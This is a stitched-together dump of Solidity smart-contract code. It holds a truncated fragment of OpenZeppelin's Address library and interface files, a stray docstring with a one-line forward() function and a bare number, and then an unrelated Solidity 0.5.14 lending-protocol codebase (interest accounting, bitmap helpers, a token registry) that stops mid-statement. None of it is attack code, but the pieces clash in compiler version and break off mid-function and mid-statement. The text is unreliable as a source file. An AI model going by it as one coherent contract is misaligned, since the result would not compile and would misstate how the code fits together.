uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (interfaces/IERC2981.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Interface for the NFT Royalty Standard. * * A standardized way to retrieve royalty payment information for non-fungible tokens (NFTs) to enable universal * support for royalty payments across all NFT marketplaces and ecosystem participants. * * _Available since v4.5._ */ interface IERC2981 is IERC165 { /** * @dev Returns how much royalty is owed and to whom, based on a sale price that may be denominated in any unit of * exchange. The royalty amount is denominated and should be payed in that same unit of exchange. */ function royaltyInfo(uint256 tokenId, uint256 salePrice) external view returns (address receiver, uint256 royaltyAmount); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (interfaces/IERC165.sol) pragma solidity ^0.8.0; import "../utils/introspection/IERC165.sol";
Public wrapper of _forward method to recipient address (must be in approvedRecipients) amount amount of ETH to send/
function forward(address to, uint256 amount) public onlyOwner { _forward(to, amount); }
14,453,243
pragma solidity 0.5.14; contract Constant { enum ActionType { DepositAction, WithdrawAction, BorrowAction, RepayAction } address public constant ETH_ADDR = 0x000000000000000000000000000000000000000E; uint256 public constant INT_UNIT = 10 ** uint256(18); uint256 public constant ACCURACY = 10 ** 18; // Polygon mainnet blocks per year uint256 public constant BLOCKS_PER_YEAR = 2102400; } /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } // This is for per user library AccountTokenLib { using SafeMath for uint256; struct TokenInfo { // Deposit info uint256 depositPrincipal; // total deposit principal of ther user uint256 depositInterest; // total deposit interest of the user uint256 lastDepositBlock; // the block number of user's last deposit // Borrow info uint256 borrowPrincipal; // total borrow principal of ther user uint256 borrowInterest; // total borrow interest of ther user uint256 lastBorrowBlock; // the block number of user's last borrow } uint256 constant BASE = 10**18; // returns the principal function getDepositPrincipal(TokenInfo storage self) public view returns(uint256) { return self.depositPrincipal; } function getBorrowPrincipal(TokenInfo storage self) public view returns(uint256) { return self.borrowPrincipal; } function getDepositBalance(TokenInfo storage self, uint accruedRate) public view returns(uint256) { return self.depositPrincipal.add(calculateDepositInterest(self, accruedRate)); } function getBorrowBalance(TokenInfo storage self, uint accruedRate) public view returns(uint256) { return self.borrowPrincipal.add(calculateBorrowInterest(self, accruedRate)); } function getLastDepositBlock(TokenInfo storage self) public view returns(uint256) { return self.lastDepositBlock; } function getLastBorrowBlock(TokenInfo storage self) public view returns(uint256) { return self.lastBorrowBlock; } function getDepositInterest(TokenInfo storage self) public view returns(uint256) { return self.depositInterest; } function getBorrowInterest(TokenInfo storage self) public view returns(uint256) { return self.borrowInterest; } function borrow(TokenInfo storage self, uint256 amount, uint256 accruedRate, uint256 _block) public { newBorrowCheckpoint(self, accruedRate, _block); self.borrowPrincipal = self.borrowPrincipal.add(amount); } /** * Update token info for withdraw. The interest will be withdrawn with higher priority. */ function withdraw(TokenInfo storage self, uint256 amount, uint256 accruedRate, uint256 _block) public { newDepositCheckpoint(self, accruedRate, _block); if (self.depositInterest >= amount) { self.depositInterest = self.depositInterest.sub(amount); } else if (self.depositPrincipal.add(self.depositInterest) >= amount) { self.depositPrincipal = self.depositPrincipal.sub(amount.sub(self.depositInterest)); self.depositInterest = 0; } else { self.depositPrincipal = 0; self.depositInterest = 0; } } /** * Update token info for deposit */ function deposit(TokenInfo storage self, uint256 amount, uint accruedRate, uint256 _block) public { newDepositCheckpoint(self, accruedRate, _block); self.depositPrincipal = self.depositPrincipal.add(amount); } function repay(TokenInfo storage self, uint256 amount, uint accruedRate, uint256 _block) public { // updated rate (new index rate), applying the rate from startBlock(checkpoint) to currBlock newBorrowCheckpoint(self, accruedRate, _block); // user owes money, then he tries to repays if (self.borrowInterest > amount) { self.borrowInterest = self.borrowInterest.sub(amount); } else if (self.borrowPrincipal.add(self.borrowInterest) > amount) { self.borrowPrincipal = self.borrowPrincipal.sub(amount.sub(self.borrowInterest)); self.borrowInterest = 0; } else { self.borrowPrincipal = 0; self.borrowInterest = 0; } } function newDepositCheckpoint(TokenInfo storage self, uint accruedRate, uint256 _block) public { self.depositInterest = calculateDepositInterest(self, accruedRate); self.lastDepositBlock = _block; } function newBorrowCheckpoint(TokenInfo storage self, uint accruedRate, uint256 _block) public { self.borrowInterest = calculateBorrowInterest(self, accruedRate); self.lastBorrowBlock = _block; } // Calculating interest according to the new rate // calculated starting from last deposit checkpoint function calculateDepositInterest(TokenInfo storage self, uint accruedRate) public view returns(uint256) { return self.depositPrincipal.add(self.depositInterest).mul(accruedRate).sub(self.depositPrincipal.mul(BASE)).div(BASE); } function calculateBorrowInterest(TokenInfo storage self, uint accruedRate) public view returns(uint256) { uint256 _balance = self.borrowPrincipal; if(accruedRate == 0 || _balance == 0 || BASE >= accruedRate) { return self.borrowInterest; } else { return _balance.add(self.borrowInterest).mul(accruedRate).sub(_balance.mul(BASE)).div(BASE); } } } /** * @notice Bitmap library to set or unset bits on bitmap value */ library BitmapLib { /** * @dev Sets the given bit in the bitmap value * @param _bitmap Bitmap value to update the bit in * @param _index Index range from 0 to 127 * @return Returns the updated bitmap value */ function setBit(uint128 _bitmap, uint8 _index) internal pure returns (uint128) { // Suppose `_bitmap` is in bit value: // 0001 0100 = represents third(_index == 2) and fifth(_index == 4) bit is set // Bit not set, hence, set the bit if( ! isBitSet(_bitmap, _index)) { // Suppose `_index` is = 3 = 4th bit // mask = 0000 1000 = Left shift to create mask to find 4rd bit status uint128 mask = uint128(1) << _index; // Setting the corrospending bit in _bitmap // Performing OR (|) operation // 0001 0100 (_bitmap) // 0000 1000 (mask) // ------------------- // 0001 1100 (result) return _bitmap | mask; } // Bit already set, just return without any change return _bitmap; } /** * @dev Unsets the bit in given bitmap * @param _bitmap Bitmap value to update the bit in * @param _index Index range from 0 to 127 * @return Returns the updated bitmap value */ function unsetBit(uint128 _bitmap, uint8 _index) internal pure returns (uint128) { // Suppose `_bitmap` is in bit value: // 0001 0100 = represents third(_index == 2) and fifth(_index == 4) bit is set // Bit is set, hence, unset the bit if(isBitSet(_bitmap, _index)) { // Suppose `_index` is = 2 = 3th bit // mask = 0000 0100 = Left shift to create mask to find 3rd bit status uint128 mask = uint128(1) << _index; // Performing Bitwise NOT(~) operation // 1111 1011 (mask) mask = ~mask; // Unsetting the corrospending bit in _bitmap // Performing AND (&) operation // 0001 0100 (_bitmap) // 1111 1011 (mask) // ------------------- // 0001 0000 (result) return _bitmap & mask; } // Bit not set, just return without any change return _bitmap; } /** * @dev Returns true if the corrosponding bit set in the bitmap * @param _bitmap Bitmap value to check * @param _index Index to check. Index range from 0 to 127 * @return Returns true if bit is set, false otherwise */ function isBitSet(uint128 _bitmap, uint8 _index) internal pure returns (bool) { require(_index < 128, "Index out of range for bit operation"); // Suppose `_bitmap` is in bit value: // 0001 0100 = represents third(_index == 2) and fifth(_index == 4) bit is set // Suppose `_index` is = 2 = 3th bit // 0000 0100 = Left shift to create mask to find 3rd bit status uint128 mask = uint128(1) << _index; // Example: When bit is set: // Performing AND (&) operation // 0001 0100 (_bitmap) // 0000 0100 (mask) // ------------------------- // 0000 0100 (bitSet > 0) // Example: When bit is not set: // Performing AND (&) operation // 0001 0100 (_bitmap) // 0000 1000 (mask) // ------------------------- // 0000 0000 (bitSet == 0) uint128 bitSet = _bitmap & mask; // Bit is set when greater than zero, else not set return bitSet > 0; } } interface AggregatorInterface { function latestAnswer() external view returns (int256); function latestTimestamp() external view returns (uint256); function latestRound() external view returns (uint256); function getAnswer(uint256 roundId) external view returns (int256); function getTimestamp(uint256 roundId) external view returns (uint256); event AnswerUpdated(int256 indexed current, uint256 indexed roundId, uint256 timestamp); event NewRound(uint256 indexed roundId, address indexed startedBy); } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } /** * @dev Returns true if the caller is the current owner. */ function isOwner() public view returns (bool) { return _msgSender() == _owner; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library Utils{ function _isETH(address globalConfig, address _token) public view returns (bool) { return GlobalConfig(globalConfig).constants().ETH_ADDR() == _token; } function getDivisor(address globalConfig, address _token) public view returns (uint256) { if(_isETH(globalConfig, _token)) return GlobalConfig(globalConfig).constants().INT_UNIT(); return 10 ** uint256(GlobalConfig(globalConfig).tokenInfoRegistry().getTokenDecimals(_token)); } } library SavingLib { using SafeERC20 for IERC20; /** * Receive the amount of token from msg.sender * @param _amount amount of token * @param _token token address */ function receive(GlobalConfig globalConfig, uint256 _amount, address _token) public { if (Utils._isETH(address(globalConfig), _token)) { require(msg.value == _amount, "The amount is not sent from address."); } else { //When only tokens received, msg.value must be 0 require(msg.value == 0, "msg.value must be 0 when receiving tokens"); IERC20(_token).safeTransferFrom(msg.sender, address(this), _amount); } } /** * Send the amount of token to an address * @param _amount amount of token * @param _token token address */ function send(GlobalConfig globalConfig, uint256 _amount, address _token) public { if (Utils._isETH(address(globalConfig), _token)) { msg.sender.transfer(_amount); } else { IERC20(_token).safeTransfer(msg.sender, _amount); } } } /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Converts an `address` into `address payable`. Note that this is * simply a type cast: the actual underlying value is not changed. * * _Available since v2.4.0._ */ function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. * * _Available since v2.4.0._ */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } } /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success asserted // 3. The return value is decoded, which in turn checks the size of the returned data. // solhint-disable-next-line max-line-length require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Token Info Registry to manage Token information * The Owner of the contract allowed to update the information */ contract TokenRegistry is Ownable, Constant { using SafeMath for uint256; /** * @dev TokenInfo struct stores Token Information, this includes: * ERC20 Token address, Compound Token address, ChainLink Aggregator address etc. * @notice This struct will consume 5 storage locations */ struct TokenInfo { // Token index, can store upto 255 uint8 index; // ERC20 Token decimal uint8 decimals; // If token is enabled / disabled bool enabled; // Is ERC20 token charge transfer fee? bool isTransferFeeEnabled; // Is Token supported on Compound bool isSupportedOnCompound; // cToken address on Compound address cToken; // Chain Link Aggregator address for TOKEN/ETH pair address chainLinkOracle; // Borrow LTV, by default 60% uint256 borrowLTV; } event TokenAdded(address indexed token); event TokenUpdated(address indexed token); uint256 public constant MAX_TOKENS = 128; uint256 public constant SCALE = 100; // TokenAddress to TokenInfo mapping mapping (address => TokenInfo) public tokenInfo; // TokenAddress array address[] public tokens; GlobalConfig public globalConfig; /** */ modifier whenTokenExists(address _token) { require(isTokenExist(_token), "Token not exists"); _; } /** * initializes the symbols structure */ function initialize(GlobalConfig _globalConfig) public onlyOwner{ globalConfig = _globalConfig; } /** * @dev Add a new token to registry * @param _token ERC20 Token address * @param _decimals Token's decimals * @param _isTransferFeeEnabled Is token changes transfer fee * @param _isSupportedOnCompound Is token supported on Compound * @param _cToken cToken contract address * @param _chainLinkOracle Chain Link Aggregator address to get TOKEN/ETH rate */ function addToken( address _token, uint8 _decimals, bool _isTransferFeeEnabled, bool _isSupportedOnCompound, address _cToken, address _chainLinkOracle ) public onlyOwner { require(_token != address(0), "Token address is zero"); require(!isTokenExist(_token), "Token already exist"); require(_chainLinkOracle != address(0), "ChainLinkAggregator address is zero"); require(tokens.length < MAX_TOKENS, "Max token limit reached"); TokenInfo storage storageTokenInfo = tokenInfo[_token]; storageTokenInfo.index = uint8(tokens.length); storageTokenInfo.decimals = _decimals; storageTokenInfo.enabled = true; storageTokenInfo.isTransferFeeEnabled = _isTransferFeeEnabled; storageTokenInfo.isSupportedOnCompound = _isSupportedOnCompound; storageTokenInfo.cToken = _cToken; storageTokenInfo.chainLinkOracle = _chainLinkOracle; // Default values storageTokenInfo.borrowLTV = 60; //6e7; // 60% tokens.push(_token); emit TokenAdded(_token); } function updateBorrowLTV( address _token, uint256 _borrowLTV ) external onlyOwner whenTokenExists(_token) { if (tokenInfo[_token].borrowLTV == _borrowLTV) return; // require(_borrowLTV != 0, "Borrow LTV is zero"); require(_borrowLTV < SCALE, "Borrow LTV must be less than Scale"); // require(liquidationThreshold > _borrowLTV, "Liquidation threshold must be greater than Borrow LTV"); tokenInfo[_token].borrowLTV = _borrowLTV; emit TokenUpdated(_token); } /** */ function updateTokenTransferFeeFlag( address _token, bool _isTransfeFeeEnabled ) external onlyOwner whenTokenExists(_token) { if (tokenInfo[_token].isTransferFeeEnabled == _isTransfeFeeEnabled) return; tokenInfo[_token].isTransferFeeEnabled = _isTransfeFeeEnabled; emit TokenUpdated(_token); } /** */ function updateTokenSupportedOnCompoundFlag( address _token, bool _isSupportedOnCompound ) external onlyOwner whenTokenExists(_token) { if (tokenInfo[_token].isSupportedOnCompound == _isSupportedOnCompound) return; tokenInfo[_token].isSupportedOnCompound = _isSupportedOnCompound; emit TokenUpdated(_token); } /** */ function updateCToken( address _token, address _cToken ) external onlyOwner whenTokenExists(_token) { if (tokenInfo[_token].cToken == _cToken) return; tokenInfo[_token].cToken = _cToken; emit TokenUpdated(_token); } /** */ function updateChainLinkAggregator( address _token, address _chainLinkOracle ) external onlyOwner whenTokenExists(_token) { if (tokenInfo[_token].chainLinkOracle == _chainLinkOracle) return; tokenInfo[_token].chainLinkOracle = _chainLinkOracle; emit TokenUpdated(_token); } function enableToken(address _token) external onlyOwner whenTokenExists(_token) { require(!tokenInfo[_token].enabled, "Token already enabled"); tokenInfo[_token].enabled = true; emit TokenUpdated(_token); } function disableToken(address _token) external onlyOwner whenTokenExists(_token) { require(tokenInfo[_token].enabled, "Token already 